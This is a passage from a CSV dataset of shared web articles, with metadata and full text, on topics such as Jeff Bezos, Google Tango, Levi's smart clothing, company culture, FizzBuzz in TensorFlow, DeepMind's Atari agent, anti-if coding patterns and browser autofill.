Bezos, é determinante para o sucesso de um empreendimento: a invenção. Pode pesquisar no livro de Brad Stone e nos conteúdos sobre a empresa: você vai ver que inventar é outra obsessão do criador da Amazon. Diz ele que: ""Quando a concorrência está no chuveiro de manhã, eles pensam em como vão chegar à frente dos principais concorrentes. Aqui, quando estamos no chuveiro, pensamos em como vamos inventar algo em nome do cliente."" Mas, para que a invenção funcione, é preciso planejamento, paciência e trabalho - muito trabalho. Então, chega de conversa e mãos à obra. Vai que um dia o seu guardanapo seja tão disputado quanto aquele de Jeff Bezos? Correalização:",pt
1465499895,CONTENT SHARED,7400903238402587728,-1387464358334758758,2157275533176536828,,,,HTML,http://googlediscovery.com/2016/06/06/inbox-by-gmail-ganha-formatacao-de-texto/,Inbox by Gmail ganha formatação de texto | Google Discovery,"Em resposta as solicitações dos usuários, o Google anunciou hoje a disponibilidade de um novo recurso de formatação de texto no Inbox by Gmail para desktop. Os usuários poderão escolher entre 11 tipos de letras, 4 tamanhos pré-definidos e uma grande variedade de cores para marcar o texto. Além das clássicas opções de negrito, itálico e sublinhado. é bacharel em administração de empresas e fundador da FragaNet Networks - empresa especializada em comunicação digital e mídias sociais. Em seu portfólio estão projetos como: Google Discovery, TechCult, AutoBlog e Arquivo UFO. Também foi colunista de tecnologia no TechTudo, da Globo.com.",pt
1465500248,CONTENT SHARED,7253370880729538418,-1387464358334758758,2157275533176536828,,,,HTML,https://googleblog.blogspot.com.br/2016/06/tango-see-more-with-new-kind-of-phone.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed:+blogspot/MKuf+(Official+Google+Blog),Tango: See more with a new kind of phone,"Your phone can help you navigate from one side of the country to the other, help you share memories with friends, or even identify the song that's playing right now. But it can't answer basic (and important) questions like, ""Where's the nearest building exit?"" or ""Will this couch actually fit in my apartment?"" That's because while your phone may know where you are in the world, it doesn't know where you are in the room. But, for the past three years, the Project Tango team has been working to help devices understand physical space and motion more like people do. Today we're taking the next step with the first Tango-enabled phone (Lenovo's PHAB2 Pro ). We're also graduating the effort from Project Tango to, simply, Tango. Tango helps you answer a new set of questions about your world through specialized hardware and apps. Some of the coolest apps that work with Tango are the ones that overlay digital objects on top of your surroundings. For example if you're shopping for a new bed, Tango lets you view your bedroom through your phone and visualize different options-even walk around the virtual furniture like it's actually there. With a Tango-enabled phone, you also have a toybox, a solar system, and a pet shop in your pocket. You can play with a huge set of dominoes, explore the planets, defend yourself from invading aliens, or feed your virtual dog-all through your phone. The best part is that you don't have to clean up afterwards. In the future, we hope Tango can help you navigate a mall, museum or place you've never been. Tango can overlay directions to your destination, then provide more info once you arrive. We've already started to work on this-we previewed it in February with the National Art Museum of Catalunya , and we plan to bring select locations online later this year. Whether you're shopping, playing, or just finding your way around, Tango helps you explore the world in a new way. There are already lots of great apps exploring these new capabilities, and as Tango finds its way into more devices, there will be more to come. If you'd like to learn more, visit the Tango website , or tune in to Nat and Lo for a behind-the-scenes look at Tango.",en
1465503970,CONTENT SHARED,5831479026588423198,-6316613156648676087,-6626874502178687756,,,,HTML,https://wtvox.com/nanotechnology/google-partners-with-levis-to-create-smart-clothing/,Google Unveiled A Partnership With Levi's To Create Smart Clothing,"Google unveiled a partnership with the Levi's fashion brand to create smart clothing using Project Jacquard, a conductive textile material that can be woven into any fabric. The computerised pants project, which came out of Google's secretive ATAP lab, headed by a former DARPA research scientist, is code-named ""Project Jacquard,"" after Joseph Marie Jacquard, the inventor of the power loom. It is as an attempt to ""bring conductive yarns to every garment and fabric on earth, and then to integrate touch sensors, haptic feedback, and more right into your jeans, car seats, curtains, everything."" Google's ATAP research team described how it created the material from scratch - and worked with several textile makers to weave it into various materials. It can be made in virtually any colour or thickness. It showed off a jacket made with Jacquard on stage that could work as a touchpad. The material was pressure sensitive and could even detect hovering motions. In another example, the material was able to dial contact on your phone with just a swipe. Of course, just having the cool tech isn't enough to get people wearing it and Google isn't exactly a fashion company, so it announced the partnership with Levi's to bring Jacquard-enabled clothing to the market soon. It's an awesome concept - you can swipe away a phone call without ever interrupting conversation on a dinner date, or switch song tracks easily while walking down the street. The textile can be woven into any size that you need it to be as well. As Apple is doing with its Watch, Google and Levi's are marketing computerised pants as a way to stay connected to your digital life without having to pull out your phone. ""If there's a chance to enable the clothes that we already love to help us facilitate access to the best and most necessary of this digital world while maintaining eye contact with the person we're eating dinner with, this is a real value,"" Paul Dillinger of Levi Strauss said at the I/O conference. It's not clear when you'll be able to pick up a pair of touchscreen jeans. Project Jacquard is still very much in the prototype stage and Google is ""still trying to figure out the right application for the tech."" But make no mistake: the digital revolution is coming for your pants.",en
1465504801,CONTENT SHARED,6377566860234930618,-5527145562136413747,2423419515231651761,,,,HTML,http://www.inc.com/guides/201102/how-to-create-a-unified-corporate-culture.html,How to Create a Unified Culture in a Company With Multiple Offices,"What makes your company unique? Whether your company employs three people or three hundred people, in one office or five, every leader should constantly be working towards a singular company culture where employees feel aligned with the company mission. But as your company grows and you start managing remote employees, certain challenges will arise. The last thing you want is your satellite employees to feel unaligned with the company's mission, and to lose sight of company goals. Even worse, you don't want your employees to begin to feel like outcasts. Creating a culture is unlike any other business endeavor; it involves creating an intangible set of subtle rules and ideas that are often difficult to manage. ""Not everything that happens in a business is based on visible, objective, and formal rules,"" writes Mark Williams in Fit In! The Unnofficial Guide to Corporate Culture. ""Some things are more subtle; they live between the lines of the company manual. These informal rules are a powerful hidden force-;governing everything from where you sit in a meeting to how you address your superior."" These challenges are amplified when employees work in multiple locations, but there are tactical decisions that can make your company's employees feel more aligned with a company vision. After all, a strong company culture will keep turnover rates low, productivity high, and employees happy-;whether they're in the company headquarters or half the world away. Dig Deeper: How to Build a Bulletproof Company Culture Create a Unified Culture: Identify t he Challenges Opening offices in multiple locations may be the next logical step for your company is it grows. After all, having a market presence in diverse geographical locations may be the key to your company's success. But perhaps the biggest loss in separating employees is the loss of personal interaction. Often, the tone of an organization is set by the little things-;conversations by the water cooler, friendly exchanges in the elevator, and even a shared sense of 'office humor,' like little games played among co-workers. These aspects of office life contribute directly to the type of culture you set up-;whether it's a rigid, formal setting, or a relaxed, Tony Hsieh-esque environment. These personal interactions often will also set often the tone for employee collaboration in finding solutions to work-related problems. So if your employees are located in different offices, one of the biggest challenges will be finding ways for your employees to stay in touch and learn a bit about each other. Dig Deeper: 8 Tips for Building a Great Culture How to Create a Unified Culture: Open Up Lines of Communication Mehrdad Baghai, the managing director of Alchemy Growth Partners, a boutique advisory and venture firm in Sydney, Australia, spent months researching the world's most innovative and successful companies for his book As One: Individual Action, Collective Power . Often, these companies had thousands of employees, located in offices around the world. But what made these companies so successful, Baghai found, was their ability to make their employees feel as if they were part of a clear company mission, or goal. 'One thing that we noticed is that if you want to get large number of people to do something, they tend to have a what we call a shared identity,' Baghai says. 'Somehow the group must begin to see itself as a group, and as long as there's reasonable consistency among the people in the organization, it seems to work well.' Companies with a unified culture all have one common trait: they are effective communicators not just with customers, but also amongst themselves. These companies will value their employees opinions, and they'll work hard to recognize individual accomplishments (and not just as a plaque under the 'Employee of the Month' sign in the break room). While company-wide barbeques may work for some companies, employees in far-off offices won't get to participate, so internal, online communication becomes essential. Here are a few tips to instill bullet-proof company culture throughout all company offices. Dig Deeper: How to Expand Without Losing Your Indie Culture How to Create a Unified Culture: Build it Into the Office-;Literally Blog - A company blog is a great way to reach customers and drive traffic to your site, but it's also a great way to keep all of your employees in the loop about what's going on in different departments or locations. For example, Johnny Cupcakes, the popular T-Shirt retailer, is keeping a detailed blog of its new store opening in the United Kingdom. It also featured, in pictures and in text, the employees that are spearheading their overseas expansion. While this is great for reaching current customers, it also illustrates how a company can give employees far and wide access to different parts of the organization. Newsletter or Intranet - 'Internal communication is one of the most important, yet least focused on, areas of business,' says Carol Nicolaides for Insider Reports , an online journal that focuses on business issues. A newsletter or daily e-mail can inform employees about what's going on with the company, it can highlight employees accomplishments, but most importantly, a newsletter can set the tone for how employees think about their job and their company. Whether the newsletter tells a funny company story or highlights one of the company's customers, a company-wide newsletter can shed light on what your company truly values. Online Collaboration Tools - People connect with friends and family all over the world using Facebook-;why not have them connect with co-workers using a similar service? There are many work-related collaboration tools on the market, but perhaps the most efficient is Yammer. With Yammer, employees can post pictures, send messages, and even chat with their co-workers. Yammer can reinforce the idea of personal interactions, and help build a singular vision among your employees. Having multiple office locations will inevitably spur jealously by employees who perceive their co-workers in other locations to enjoy certain amenities not afforded to them. 'Sure, we have a covered parking lot, but they have a gym,' one may say, or 'The food in their cafeteria is better than ours.' A manager may think these types of differences to be immaterial, but they are not. Often, it's the little things that matter most to employees, and these differences tend to create an 'Us Versus Them' mentality. When thinking about your office build-out, it's essential to try and remain as fair as possible. This doesn't mean every office must be a cookie-cutter clone of all offices, but keep in mind that your employees will be offended if they find out their counterparts in a main office get special treatment. 'I think a head office tends to forget about the little guys; they feel like they're left in no-man's land and they feel like no one cares about them,' says Michelle Berg, president of the Calgary, Canada-based Eleveated HR. Berg, who works with organizations both in Canada and the United States, say that an employer must make a conscious effort to involve the smaller, satellite offices. Berg also points out that a unified culture will 'rally the troops,' but with multiple locations, this task becomes more challenging. For example, Berg recently worked with a client that had a gong in his office; when an employee came back with a big sale, he'd ring the gong. But employees in other offices didn't get to experience that excitement, Berg says, so she needed to find a way to reach the satellite employees. The solution? The manager now sends out an 'e-mail gong"" to complement the office gong. 'Hey, you have to rally the troops somehow,' Berg says. Dig Deeper: The Zappos Way of Managing Having a standardized set of policies is crucial to keeping that ""Us Versus Them"" mentality at bay. Offering perks to employees in one office, while not offering them to employees in a separate office, will create a negative feeling between locations. For example, if you have workers overseas that receive 30 vacation days, while workers in the United States receive 15, your employees may resent the international contingent, which may strain communication between the two groups. Even if governmental regulations vary on how much vacation an employee must be guaranteed, it could be a smart business decision to adopt the more liberal policy for your company-;and it will certainly keep your workers happy.",en
1465518989,CONTENT SHARED,-307396946333196366,3829784524040647339,-3033571558709312013,,,,HTML,http://joelgrus.com/2016/05/23/fizz-buzz-in-tensorflow/?imm_mid=0e491e&cmp=em-data-na-na-newsltr_20160608,Cracking the Job Interview with TensorFlow,"interviewer: Welcome, can I get you coffee or anything? Do you need a break? me: No, I've probably had too much coffee already! interviewer: Great, great. And are you OK with writing code on the whiteboard? me: It's the only way I code! interviewer: ... me: That was a joke. interviewer: OK, so are you familiar with ""fizz buzz""? me: ... interviewer: Is that a yes or a no? me: It's more of a ""I can't believe you're asking me that."" interviewer: OK, so I need you to print the numbers from 1 to 100, except that if the number is divisible by 3 print ""fizz"", if it's divisible by 5 print ""buzz"", and if it's divisible by 15 print ""fizzbuzz"". me: I'm familiar with it. interviewer: Great, we find that candidates who can't get this right don't do well here. me: ... interviewer: Here's a marker and an eraser. me: [thinks for a couple of minutes] interviewer: Do you need help getting started? me: No, no, I'm good. So let's start with some standard imports: interviewer: Um, you understand the problem is fizzbuzz , right? me: Do I ever. So, now let's talk models. I'm thinking a simple multi-layer-perceptron with one hidden layer. interviewer: Perceptron? me: Or neural network, whatever you want to call it. We want the input to be a number, and the output to be the correct ""fizzbuzz"" representation of that number. In particular, we need to turn each input into a vector of ""activations"". One simple way would be to convert it to binary. interviewer: Binary? me: Yeah, you know, 0's and 1's? Something like: interviewer: [stares at whiteboard for a minute] me: And our output will be a one-hot encoding of the fizzbuzz representation of the number, where the first position indicates ""print as-is"", the second indicates ""fizz"", and so on: interviewer: OK, that's probably enough. me: That's enough setup, you're exactly right. Now we need to generate some training data. It would be cheating to use the numbers 1 to 100 in our training data, so let's train it on all the remaining numbers up to 1024: interviewer: ... me: Now we need to set up our model in tensorflow. Off the top of my head I'm not sure how many hidden units to use, maybe 10? interviewer: ... me: Yeah, possibly 100 is better. We can always change it later. We'll need an input variable with width NUM_DIGITS, and an output variable with width 4: interviewer: How far are you intending to take this? me: Oh, just two layers deep -- one hidden layer and one output layer. Let's use randomly-initialized weights for our neurons: And we're ready to define the model. As I said before, one hidden layer, and let's use, I don't know, ReLU activation: We can use softmax cross-entropy as our cost function and try to minimize it: interviewer: ... me: And, of course, the prediction will just be the largest output: interviewer: Before you get too far astray, the problem you're supposed to be solving is to generate fizz buzz for the numbers from 1 to 100. me: Oh, great point, the predict_op function will output a number from 0 to 3, but we want a ""fizz buzz"" output: interviewer: ... me: So now we're ready to train the model. Let's grab a tensorflow session and initialize the variables: Now let's run, say, 1000 epochs of training? interviewer: ... me: Yeah, maybe that's not enough -- so let's do 10000 just to be safe. And our training data are sequential, which I don't like, so let's shuffle them each iteration: And each epoch we'll train in batches of, I don't know, 128 inputs? So each training pass looks like and then we can print the accuracy on the training data, since why not? interviewer: Are you serious? me: Yeah, I find it helpful to see how the training accuracy evolves. interviewer: ... me: So, once the model has been trained, it's fizz buzz time. Our input should just be the binary encoding of the numbers 1 to 100: And then our output is just our fizz_buzz function applied to the model output: interviewer: ... me: And that should be your fizz buzz! interviewer: Really, that's enough. We'll be in touch. me: In touch, that sounds promising. interviewer: ... I didn't get the job. So I tried actually running this ( code on GitHub ), and it turned out it got some of the outputs wrong! Thanks a lot, machine learning! I guess maybe I should have used a deeper network.",en
1465527584,CONTENT SHARED,-9080873096647717414,3609194402293569455,6767073224607104462,,,,HTML,http://www.inc.com/quora/3-skills-that-all-emotionally-intelligent-people-master.html?cid=em01011week22day03a,3 Skills That All Emotionally Intelligent People Master,"How can we improve our emotional intelligence, and what are the benefits? originally appeared on Quora -- the knowledge-sharing network where compelling questions are answered by people with unique insights . Answer by Chade-Meng Tan , co-chair of a Nobel Peace Prize-nominated campaign and New York Times best-selling author, on Quora : Emotional Intelligence (EI) is defined as the ability to monitor one's own and others' feelings and emotions, to discriminate among them, and to use this information to guide one's thinking and actions. Essentially, EI is a collection of mental and emotional skills. Therefore, to train EI, all you have to do is to train your mind to acquire those skills. In Search Inside Yourself , we do that in three steps: Step 1: Attention training. Attention is the basis of all higher cognitive and emotional abilities. Specifically, the idea here is to train attention to create a quality of mind that is calm and clear at the same time. That quality of mind forms the foundation for emotional intelligence. Step 2: Self-knowledge and self-mastery. Use your sharpened attention to create high-resolution perception into your own cognitive and emotive processes. With that, you become able to observe your thought stream and the process of emotion with high clarity, and to do so objectively from a third-person perspective. Once you can do that, you create the type of deep self-knowledge that eventually enables self-mastery. Step 3: Creating pro-social mental habits. Qualities such as kindness and compassion can be created as mental habits. For example, imagine whenever you meet anybody, your habitual, instinctive first thought is, ""I wish for this person to be happy."" This is the mental habit of kindness and is highly trainable the same way you train other mental habits. There are very many benefits to EI. Just in the business world, for example, emotional intelligence has at least three compelling benefits. First, it is highly correlated with stellar work performance. Studies show emotional competencies to be twice as important as cognitive competencies for doing outstanding work, even among engineers. Second, emotionally intelligent leaders and managers are far more effective than leaders or managers low on emotional intelligence. Finally, emotional intelligence creates the conditions for personal happiness, and happy workers are a great asset because they work better in teams, provide better service to customers (and happy customers return to spend more money), and are generally more creative and productive. There are also compelling personal benefits, and the most basic of those occur in three categories: calmness and clarity of mind, resilience, and more satisfying relationships. First, you become increasingly skillful at calming the body and mind and seeing things clearly and objectively, even in difficult situations. There are studies that show just a few weeks of mindfulness training can reduce the activity of the part of the brain associated with fear and panic, called the amygdala. There is also a fascinating 2014 study that shows that with merely 15 minutes of mindfulness meditation, you can begin to overcome cognitive bias in decision making. Second, as you become increasingly skillful at calmness and clarity, you also become increasingly resilient in the face of life's difficulties. Like a kung fu fighter who can defeat more powerful opponents as she becomes more skillful at martial arts, in the same way, you can manage life's problems with increasing ease and joy as your practice gets deeper. Third, you begin to see yourself with increasing kindness, and you begin to see everyone with increasing kindness, and because of that, relationships become more satisfying. With kindness, happy relationships become happier, neutral relationships become happy, and unhappy relationships become manageable. This question originally appeared on Quora --the knowledge-sharing network where compelling questions are answered by people with unique insights. You can follow Quora on Twitter , Facebook , and Google+ . More questions:",en
1465532077,CONTENT SHARED,-7566966163569468290,-1032019229384696495,6045116439875099618,,,,HTML,http://www.theverge.com/2016/6/9/11893002/google-ai-deepmind-atari-montezumas-revenge,Watch Google's AI master the infamously difficult Atari game Montezuma's Revenge,"If we want to create artificial intelligence that can teach itself how the world works, it needs to be curious. This has been a recurring theme in the world of AI in recent years, and newly-published research from Google's DeepMind division shows exactly why this quintessentially human quality is important for making computers smart. Curiosity means rewarding the AI agent's exploration In the video above you can see DeepMind's AI agent tackling the infamously difficult Atari game Montezuma's Revenge . Unlike bots playing Unreal Tournament or StarCraft , the agent doesn't have access to all the information in the game, but is learning to play the same way humans do - by looking at the screen, pushing buttons, and seeing what works. If this set-up sounds familiar, it's because last February DeepMind unveiled an earlier iteration of the same agent, but when that bot tried to take on Montezuma's Revenge , it couldn't score a single point . But as the video above shows, now DeepMind's AI is dodging skulls, grabbing keys, and scoring points like a pro. The difference? Curiosity. Curiosity, in this case, is an mechanic known as ""intrinsic motivation."" Essentially, this means creating a reward system for the AI agent, something comparable to the brain's ""pleasure chemicals."" DeepMind's scientists then connected these digital rewards to the agent's exploration system, giving the desire to look around its surroundings - or, curiosity. As the research paper explains, the new agent is much more effective than previous iterations, exploring far more of the trap-filled rooms of Montezuma's Revenge . ""After 50 million frames, the agent using exploration bonuses has seen a total of 15 rooms, while the no-bonus agent has seen two,"" write the researchers. But of course, while this research is exciting, it's not the same as creating an artificial intelligence that navigate the real world. While an AI-controlled robot navigating your house, for example, is less likely to encounter floating skulls in than ina video game, it's just as likely to fall off a ledge - and in real life, you don't get unlimited lives.",en
1465556994,CONTENT SHARED,-861913102049789637,-2979881261169775358,6661249173876371595,,,,HTML,http://blog.deepart.io/2016/06/04/color-independent-style-transfer/,Transfer Style But Not Color,"DeepArts are beautiful! Using deepart.io , we can turn photos into beautiful pieces of art. But what if we want to keep the beautiful colors in the photograph and still draw it in the style of the great Picasso? So far this wasn't really possible, since our style transfer algorithm would also transfer the colors from the style image. Well, we fixed that. We found a way to transfer only drawing style, but maintain the color composition of the original photo: Pretty amazing, isn't it? Below you can flip through more examples. The first image is always the original photograph, followed by renderings in the style of five different artists (style images are shown at the end). And here are the style images we used to generate these examples: So what do you think? Do you like this new style transfer? Should we include this option on deepart.io ? Share your thoughts in the comments.",en
1465557585,CONTENT SHARED,5266164468981660031,3829784524040647339,-3033571558709312013,,,,HTML,https://www.oreilly.com/ideas/intels-internal-iot-platform-for-real-time-enterprise-analytics?imm_mid=0e491e&cmp=em-data-na-na-newsltr_20160608,Intel's internal IoT platform for real-time enterprise analytics,"A single, multitenant platform built with open source technologies, based on an understanding of basic common needs. Vippen. (source: Christian Theede Christiansen on Flickr ). Recent years have seen a significant evolution of the Internet of Things (IoT). It has become increasingly easy to connect devices to the Internet and send sensorial data to the public cloud. However, it's quite evident that the adoption of IoT platforms and stream analytics within the enterprise is lagging and less prevalent. This could be associated with lack of skills required to deploy a platform and the difficulty to demonstrate value of such platforms through real-life use cases. Most enterprises can benefit from an internal IoT implementation, and most are already practicing analytics at different levels from descriptive to predictive/prescriptive, and stream analytics should be part of their analytics stack. Stream analytics can be applied effectively to enable closed-loop systems that promote proactivity and operational excellence. We at Intel identified a few potential projects and use cases of IoT in different domains such as: Manufacturing and related activities - IoT enables Smarter Factories Smart Buildings : IoT can help fulfill the potential and realize the value Asset management: RFID-enabled inventory management Preventive maintenance: applicable to just about any tool / machine / device In addition, we found that some operational activities may be ""translated"" into IoT stream analytics scenarios to allow a higher level of proactivity and a shift from manual monitoring and firefighting to higher value work. Previous experience with IoT projects has shown that the natural tendency is to treat different IoT implementations as separate and unique. The common assumption is that the different needs cannot be addressed with one platform. This might be a misperception. Indeed, different use cases have different requirements, however most IoT projects have a basic set of common needs that may be addressed with one reusable platform. Hierarchy of needs Based on our learnings from various use cases with different customers, we have identified a ""hierarchy of needs"" for IoT solutions that can help to highlight the commonalities of apparently unrelated and very different IoT use cases. Figure 1. The IoT hierarchy of needs. Image courtesy of Moty Fania. We identified five main layers or needs in this hierarchy (Figure 1). In most cases, they appear in this order and priority: Flow Data : At the basis level, there is the very basic need to flow data from the edge device into the target database in the cloud as a means to collect the data. Visualize : The next need is to be able to visualize the data in real time, track the data using charts and dashboards, and react to irregular events. This helps build trust in the system's reliability. However, it's quite clear that this approach by itself is not scalable; people can't monitor hundreds of metrics or charts 24x7, which leads to the next need in the hierarchy. Monitor : We need to have the ability to put automated monitors on streaming data. Users should be able to easily define rules or conditions that, if met, will trigger an automatic actuation or alert in near-real time. This is a powerful capability that leverages humans' domain expertise and intuition. Auto-Detect : In many cases the rules of automated monitoring are not known to the user or are very hard to define. This is where predictive analytics can play a role. With a combination of machine learning algorithms and statistical models, we can let the machine automatically detect changes or anomalies in the data and trigger action. Build & customize : Customize and build on top of the generic platform to add use case-specific functionalities. It should be quite evident that the first four layers are fairly generic and could be the basis for a reusable IoT platform that can meet a significant portion of use cases out-of-the-box. By identifying the set of characteristics and needs that are common to many IoT scenarios, we were able to deploy an internal platform to be used in different use cases and business domains. Intel's internal IoT platform IoT involves volumes and velocities of data that make it a viable big data use case. We found that our internal IoT platform can effectively use existing big data infrastructure and leverage previous investments. Our platform was based on several open source technologies, including Spark, Kafka, AKKA, and Hadoop. In addition, we used Docker and CoreOS to address DevOps considerations and allow portability of the platform (Figure 2). To enable stream analytics at scale, we implemented an AKKA-based stream processing framework that allows us to analyze massive data streams from many devices simultaneously in near-real time. Spark Streaming was used to deploy self-service data monitors that allow users to define their own rules and actuation when a condition was met. These rules are monitored in near-real time on the stream. The analytics layer uses machine learning techniques and advanced statistical tests to provide meaningful insights to the users of the system. This layer also includes algorithms such as multi-sensor change detection, anomaly detection, and more. Figure 2. Intel's high-level IoT platform architecture. Image courtesy of Moty Fania. The ability to implement a single multitenant IoT platform that can add value in different domains almost out of the box, combined with the ability to maximize the return on previous big data investments and existing platforms, may be a promising direction for enabling the anticipated IoT analytics revolution. Moty Fania will speak in greater detail on this topic during his session Stream Analytics in the Enterprise: A Look at Intel's Internal IoT Implementation at Strata + Hadoop World London 2016 , May 31 to June 3, 2016. How Baidu combined Tachyon with Spark SQL to increase speed 30-fold The Lambda Architecture has its merits, but alternatives are worth exploring. What it looks like to analyze, visualize, and even forecast human society using global news coverage. In this O'Reilly training video, the ""Hadoop Application Architectures"" authors present an end-to-end case study of a clickstream analytics engine to provide a concrete example of how to architect and implement a complete solution with Hadoop. In this segment, they provide an overview of the complete architecture. Presenters: Mark Grover, Gwen Shapira, Jonathan Seidman, Ted Malaska",en
1465557971,CONTENT SHARED,-5148591903395022444,-2979881261169775358,6661249173876371595,,,,HTML,http://code.joejag.com/2016/anti-if-the-missing-patterns.html,Anti-If: The missing patterns,"Around 10 years ago I encountered the anti-if campaign and found it to be an absurd concept. How on earth would you make a useful program without using an if statement? Preposterous. But then it gets you thinking. Do you remember that heavily nested code you had to understand last week? That kinda sucked right? If only there was a way to make it simpler. The anti-if campaign site is sadly low on practical advice. This post intends to remedy that with a collection of patterns you can adopt when the need arises. But first let's look at the problem that if statements pose. The problems of if statements The first problem with if statements is that they often make it easy to modify code in bad ways. Let's start with the birth of a new if statement: This isn't too bad at this point, but we've already given us some problems. When I read this code I have to check how CodeBlockA and CodeBlockB are modifying the same SharedState. This can be easy to read at first but can become difficult as the CodeBlocks grow and the coupling becomes more complicated. You'll often see the above CodeBlocks abused with further nested if statements and local returns. Making it hard to see what the business logic is through the routing logic. The second problem with if statements is when they are duplicated. This means means a domain concept is missing. It's all too easy to increase coupling by bringing things together than don't need to be. Making code harder to read and change. The third problem with if statements is that you have to simulate execution in your own head. You must beome a mini-computer. That's taking away from your mental energy, energy that would be better spent thinking about solving the problem, rather than how the intracate code branches weave together. I want to get to the point of telling you patterns we can do instead, but first a word of warning. Moderation in all things, especially moderation If statements usually make your code more complicated. But we don't want to outright ban them. I've seen some pretty heinous code created with the goal of removing all traces of if statements. We want to avoid falling into that trap. For each pattern we'll read about I'm going to give you a tolerance value for when to use it. A single if statement which isn't duplicated anywhere else is probably fine. It's when you have duplicated if statements that you want your spider sense to be tingling. At the outside of your code base, where you talk to the dangerous outside world, you are going to want to validate incoming responses and change your beahaviour accordingly. But inside our own codebases, where we behind those trusted gatekeepers, I think we have a great opportunity to use simple, richer and more powerful alternatives. Pattern 1: Boolean Params Context: You have a method that takes a boolean which alters its behaviour Problem: Any time you see this you actually have two methods bundled into one. That boolean represents an opportunity to name a concept in your code. Tolerance: Usually when you see this context you can work out at compile time which path the code will take. If that is the case then always use this pattern. Solution: Split the method into two new methods. Voilà, the if is gone. Pattern 2: Switch to Polymorphism Context: You are switching based on type. Problem: When we add a new type we have to remember to update the switch statement. Additionally the cohesion is suffering in this Bird class as multiple concepts of different birds are being added. Tolerance: A single switch on type is fine. It's when their are multiple switches then bugs can be introduced as a person adding a new type can forget to update all the switches that exist on this hidden type. There is an excellent write up on the 8thlight blog on this context. Solution: Use Polymorphism. Anyone introducing a new type cannot forget to add the associated behaviour, note: This example only has one method being switched on for brevity, it's more compelling when there are multiple switches Patten 3: NullObject/Optional over null passing Context: A outsider asked to understand the primary purpose of your code base answers with ""to check if things equal null"". Problem: Your methods have to check if they are being passed non null values. Tolerance: It's necessary to be defensive at the outer parts of your codebase, but being defensive inside your codebase probably means the code that you are writing is offensive. Don't write offensive code. Solution: Use a NullObject or Optional type instead of ever passing a null. An empty collection is a great alternative. Patten 4: Inline statements into expressions Context: You have an if statement tree that calculates a boolean expression. Problem: This code forces you to use your brain to simulate how a computer will step through your method. Tolerance: Very little. Code like this is easier to read on one line. Or broken into different parts. Solution: Simplify the if statements into a single expression. Pattern 5: Give a coping strategy Context: You are calling some other code, but you aren't sure if the happy path will suceceed. Problem: These sort of if statements multiply each time you deal with the same object or data structure. They have a hidden coupling where 'null' means someting. Other objects may return other magic values that mean no result. Tolerance: It's better to push this if statement into one place, so it isn't duplicated and we can remove the coupling on the empty object magic value. Solution: Give the code being called a coping strategy. Ruby's Hash#fetch is a good example which Java has copied . This pattern can be taken even further to remove exceptions . Happy hunting Hopefully you can use some of these patterns on the code you are working on just now. I find them useful when refactoring code to better understand it. Remember if statements aren't all evil. But we have a rich set of features in modern languages to use instead which we should take advantage of.",en
1465558374,CONTENT SHARED,3818189513627822856,-8020832670974472349,-6121624872835463728,,,,HTML,http://blog.cloudfour.com/autofill-what-web-devs-should-know-but-dont/,"Autofill: What web devs should know, but don't","Autofill: What web devs should know, but don't Many people know that you can scan your credit credit in Mobile Safari. But how many web developers know how to create a form that supports that feature? Not many I'd bet. Photo source: Auto-Fill Credit Card Forms Using Your iPhone's Camera in iOS 8 . Used with permission. It doesn't help that Apple has provided zero documentation on how the scan credit card feature works. But there is another factor at play here. The scan credit card feature is a subset of browser functionality that web developers have long ignored: autofill. It's understandable why web developers haven't paid much attention to autofill. When you're filling out forms with test data on a regular basis, autofill tends to get in the way. But autofill is an important feature for our users. Google has found that "" users complete forms up to 30% faster "" when using autofill. So let's learn how autofill works, how to build forms that support cross browser autofill, and take advantage of new features like scanning credit cards. How does autofill work? Until recently, there were no standards when it came to autofill. Each browser implemented their autofill features differently and there was little documentation on how a browser determines what content a field expects. Despite this chaotic situation, browsers seem to have settled on two main approaches: 1. Pre-determined autofill fields Chrome, Opera and Safari have all taken the approach of identifying high-value form fields and providing a way to manage what the browser will autofill for those fields. For example, Opera provides autofill for addresses and credit cards. These can be managed in the preferences as shown above. Chrome, Opera and Safari all differ on which fields they provide autofill for, but the basic fields needed to complete a checkout process are well supported. Most users never have to see or edit these preferences in order to utilize autofill. The browser watches the person filling out forms and when it recognizes an address or a credit card, it will ask if the user wants them to save that information to reuse later. 2. Autofill any field If the previous approach is like a scalpel applied to preselected fields only, this second approach is a chainsaw cutting down every field in view. When a form is submitted, Microsoft Edge and Firefox will store the value submitted along with the value of the name attribute. If the browser sees a field in the future with a matching name attribute, it will provide autofill options. Firefox also appears to look at the id in addition to the name attribute Because there are security and privacy concerns with this approach, the autocomplete off value has long been supported to prevent the browser from storing and autofilling sensitive information. Which approach is better? While the second approach works for more fields, as a developer, I much prefer the pre-determined autofill fields approach. It makes it much easier to figure out what information the browser has to autofill. It is also easier to set up test profiles. Plus, with the second approach, you actually need to submit a form in order for the browser to store values to use with autofill. The browser won't remember your answers without the form submission. It also makes me nervous to think that the browser might store credit card information in a non-encrypted way if it can't clearly identify the type of field. Given how concerned Microsoft and Mozilla are about security and privacy, I'm certain they've put protections in place. But I personally feel more secure looking at an autofill preferences pane and seeing credit card information clearly separated and understood by the browser. All that said, I don't know what end users prefer. The second system works in more places, but I've seen quite a few support questions where people have been trying to remove their autofill options from the browser history. It will be interesting to see how Edge and Firefox change when they began to support the new autofill standard. One behavior to watch for Sometimes browsers require more than one field of a certain type before they will present you with autofill options. For example, in the following animated GIF, Safari won't offer to autofill the single cardholder field, but it will offer to autofill it once there is a second card number field. However, if the only field being collected is the card number, then Safari will offer the autofill option. My experience has been that creating isolated test cases for single fields can be challenging because of this behavior. At one point in my testing, I encountered Opera requiring three fields before it would autofill, but I can no longer recreate that behavior. This should never be an issue for a user so long as your form is written to support autofill (more on this soon), but I note it here in case you're attempting to troubleshoot autofill and encounter this behavior. The standards-based approach to autofill Thankfully, there is a way forward for autofill. HTML5 recently expanded the autocomplete attribute to provide hints to the browser about what content a field expects. The autocomplete attribute has been around for several years. It started with two values: on and off . By default, the autocomplete attribute is set to on which means that the browser is free to store values submitted and to autofill them in the form. However, some fields are poor candidates for autofill behavior. In that case, the autcomplete attribute can be set to off to tell the browser that this field should be not autofilled. Recently, additional values have been added as options for the autocomplete attribute. These new options are called autofill detail tokens . These tokens tell the browser what information the field is looking for. One type of token is called the autofill field names. The autofill field names tell the browser what type of information a field expects. For example, one of the autofill field names is organization . The HTML5 specification says that organization refers to: Company name corresponding to the person, address, or contact information in the other fields associated with this field If you wanted to tell the browser to autofill the organization field, your code would look something like this: The HTML5 specification has a great table listing all 53 possible autofill field names , what their intended use is, and what type of 